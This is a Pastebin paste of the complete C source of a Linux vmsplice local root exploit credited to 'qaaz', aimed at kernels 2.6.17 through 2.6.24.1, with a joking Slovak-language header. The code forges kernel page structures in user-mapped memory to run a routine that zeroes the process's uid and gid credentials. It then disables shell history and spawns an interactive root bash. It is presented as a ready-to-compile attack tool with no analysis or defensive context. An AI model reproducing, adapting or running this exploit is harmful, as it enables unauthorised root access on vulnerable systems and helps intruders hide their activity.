Advertisement
MRC

2.6.17.C

MRC
Jul 8th, 2012
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.40 KB | None | 0 0
  1.  /*
  2.  * jessica_biel_naked_in_my_bed.c
  3.  *
  4.  * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
  5.  * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
  6.  * Stejnak je to stare jak cyp a aj jakesyk rozbite.
  7.  *
  8.  * Linux vmsplice Local Root Exploit
  9.  * By qaaz
  10.  *
  11.  * Linux 2.6.17 - 2.6.24.1
  12.  *
  13.  * This is quite old code and I had to rewrite it to even compile.
  14.  * It should work well, but I don't remeber original intent of all
  15.  * the code, so I'm not 100% sure about it. You've been warned ;)
  16.  *
  17.  * -static -Wno-format  
  18.  */
  19. #define _GNU_SOURCE
  20. #include <stdio.h>
  21. #include <errno.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <malloc.h>
  25. #include <limits.h>
  26. #include <signal.h>
  27. #include <unistd.h>
  28. #include <sys/uio.h>
  29. #include <sys/mman.h>
  30. #include <asm/page.h>
  31. #define __KERNEL__
  32. #include <asm/unistd.h>
  33.  
  34. #define PIPE_BUFFERS    16
  35. #define PG_compound 14
  36. #define uint        unsigned int
  37. #define static_inline   static inline __attribute__((always_inline))
  38. #define STACK(x)    (x + sizeof(x) - 40)
  39.  
  40. struct page {
  41.     unsigned long flags;
  42.     int count;
  43.     int mapcount;
  44.     unsigned long private;
  45.     void *mapping;
  46.     unsigned long index;
  47.     struct { long next, prev; } lru;
  48. };
  49.  
  50. void    exit_code();
  51. char    exit_stack[1024 * 1024];
  52.  
  53. void    die(char *msg, int err)
  54. {
  55.     printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  56.     fflush(stdout);
  57.     fflush(stderr);
  58.     exit(1);
  59. }
  60.  
  61. #if defined (__i386__)
  62.  
  63. #ifndef __NR_vmsplice
  64. #define __NR_vmsplice   316
  65. #endif
  66.  
  67. #define USER_CS     0x73
  68. #define USER_SS     0x7b
  69. #define USER_FL     0x246
  70.  
  71. static_inline
  72. void    exit_kernel()
  73. {
  74.     __asm__ __volatile__ (
  75.     "movl %0, 0x10(%%esp) ;"
  76.     "movl %1, 0x0c(%%esp) ;"
  77.     "movl %2, 0x08(%%esp) ;"
  78.     "movl %3, 0x04(%%esp) ;"
  79.     "movl %4, 0x00(%%esp) ;"
  80.     "iret"
  81.     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  82.         "i" (USER_CS), "r" (exit_code)
  83.     );
  84. }
  85.  
  86. static_inline
  87. void *  get_current()
  88. {
  89.     unsigned long curr;
  90.     __asm__ __volatile__ (
  91.     "movl %%esp, %%eax ;"
  92.     "andl %1, %%eax ;"
  93.     "movl (%%eax), %0"
  94.     : "=r" (curr)
  95.     : "i" (~8191)
  96.     );
  97.     return (void *) curr;
  98. }
  99.  
  100. #elif defined (__x86_64__)
  101.  
  102. #ifndef __NR_vmsplice
  103. #define __NR_vmsplice   278
  104. #endif
  105.  
  106. #define USER_CS     0x23
  107. #define USER_SS     0x2b
  108. #define USER_FL     0x246
  109.  
  110. static_inline
  111. void    exit_kernel()
  112. {
  113.     __asm__ __volatile__ (
  114.     "swapgs ;"
  115.     "movq %0, 0x20(%%rsp) ;"
  116.     "movq %1, 0x18(%%rsp) ;"
  117.     "movq %2, 0x10(%%rsp) ;"
  118.     "movq %3, 0x08(%%rsp) ;"
  119.     "movq %4, 0x00(%%rsp) ;"
  120.     "iretq"
  121.     : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  122.         "i" (USER_CS), "r" (exit_code)
  123.     );
  124. }
  125.  
  126. static_inline
  127. void *  get_current()
  128. {
  129.     unsigned long curr;
  130.     __asm__ __volatile__ (
  131.     "movq %%gs:(0), %0"
  132.     : "=r" (curr)
  133.     );
  134.     return (void *) curr;
  135. }
  136.  
  137. #else
  138. #error "unsupported arch"
  139. #endif
  140.  
  141. #if defined (_syscall4)
  142. #define __NR__vmsplice  __NR_vmsplice
  143. _syscall4(
  144.     long, _vmsplice,
  145.     int, fd,
  146.     struct iovec *, iov,
  147.     unsigned long, nr_segs,
  148.     unsigned int, flags)
  149.  
  150. #else
  151. #define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
  152. #endif
  153.  
  154. static uint uid, gid;
  155.  
  156. void    kernel_code()
  157. {
  158.     int i;
  159.     uint    *p = get_current();
  160.  
  161.     for (i = 0; i < 1024-13; i++) {
  162.         if (p[0] == uid && p[1] == uid &&
  163.             p[2] == uid && p[3] == uid &&
  164.             p[4] == gid && p[5] == gid &&
  165.             p[6] == gid && p[7] == gid) {
  166.             p[0] = p[1] = p[2] = p[3] = 0;
  167.             p[4] = p[5] = p[6] = p[7] = 0;
  168.             p = (uint *) ((char *)(p + 8) + sizeof(void *));
  169.             p[0] = p[1] = p[2] = ~0;
  170.             break;
  171.         }
  172.         p++;
  173.     }  
  174.  
  175.     exit_kernel();
  176. }
  177.  
  178. void    exit_code()
  179. {
  180.     if (getuid() != 0)
  181.         die("wtf", 0);
  182.  
  183.     printf("[+] root\n");
  184.     putenv("HISTFILE=/dev/null");
  185.     execl("/bin/bash", "bash", "-i", NULL);
  186.     die("/bin/bash", errno);
  187. }
  188.  
  189. int main(int argc, char *argv[])
  190. {
  191.     int     pi[2];
  192.     size_t      map_size;
  193.     char *      map_addr;
  194.     struct iovec    iov;
  195.     struct page *   pages[5];
  196.  
  197.     uid = getuid();
  198.     gid = getgid();
  199.     setresuid(uid, uid, uid);
  200.     setresgid(gid, gid, gid);
  201.  
  202.     printf("-----------------------------------\n");
  203.     printf(" Linux vmsplice Local Root Exploit\n");
  204.     printf(" By qaaz\n");
  205.     printf("-----------------------------------\n");
  206.  
  207.     if (!uid || !gid)
  208.         die("!@#$", 0);
  209.  
  210.     /*****/
  211.     pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
  212.     pages[1] = pages[0] + 1;
  213.  
  214.     map_size = PAGE_SIZE;
  215.     map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
  216.                     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  217.     if (map_addr == MAP_FAILED)
  218.         die("mmap", errno);
  219.  
  220.     memset(map_addr, 0, map_size);
  221.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  222.     printf("[+] page: 0x%lx\n", pages[0]);
  223.     printf("[+] page: 0x%lx\n", pages[1]);
  224.  
  225.     pages[0]->flags    = 1 << PG_compound;
  226.     pages[0]->private  = (unsigned long) pages[0];
  227.     pages[0]->count    = 1;
  228.     pages[1]->lru.next = (long) kernel_code;
  229.  
  230.     /*****/
  231.     pages[2] = *(void **) pages[0];
  232.     pages[3] = pages[2] + 1;
  233.  
  234.     map_size = PAGE_SIZE;
  235.     map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
  236.                     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  237.     if (map_addr == MAP_FAILED)
  238.         die("mmap", errno);
  239.  
  240.     memset(map_addr, 0, map_size);
  241.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  242.     printf("[+] page: 0x%lx\n", pages[2]);
  243.     printf("[+] page: 0x%lx\n", pages[3]);
  244.  
  245.     pages[2]->flags    = 1 << PG_compound;
  246.     pages[2]->private  = (unsigned long) pages[2];
  247.     pages[2]->count    = 1;
  248.     pages[3]->lru.next = (long) kernel_code;
  249.  
  250.     /*****/
  251.     pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  252.     map_size = PAGE_SIZE;
  253.     map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
  254.                     MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  255.     if (map_addr == MAP_FAILED)
  256.         die("mmap", errno);
  257.     memset(map_addr, 0, map_size);
  258.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  259.     printf("[+] page: 0x%lx\n", pages[4]);
  260.  
  261.     /*****/
  262.     map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  263.     map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
  264.                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  265.     if (map_addr == MAP_FAILED)
  266.         die("mmap", errno);
  267.  
  268.     memset(map_addr, 0, map_size);
  269.     printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  270.  
  271.     /*****/
  272.     map_size -= 2 * PAGE_SIZE;
  273.     if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
  274.         die("munmap", errno);
  275.  
  276.     /*****/
  277.     if (pipe(pi) < 0) die("pipe", errno);
  278.     close(pi[0]);
  279.  
  280.     iov.iov_base = map_addr;
  281.     iov.iov_len  = ULONG_MAX;
  282.  
  283.     signal(SIGPIPE, exit_code);
  284.     _vmsplice(pi[1], &iov, 1, 0);
  285.     die("vmsplice", errno);
  286.     return 0;
  287. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement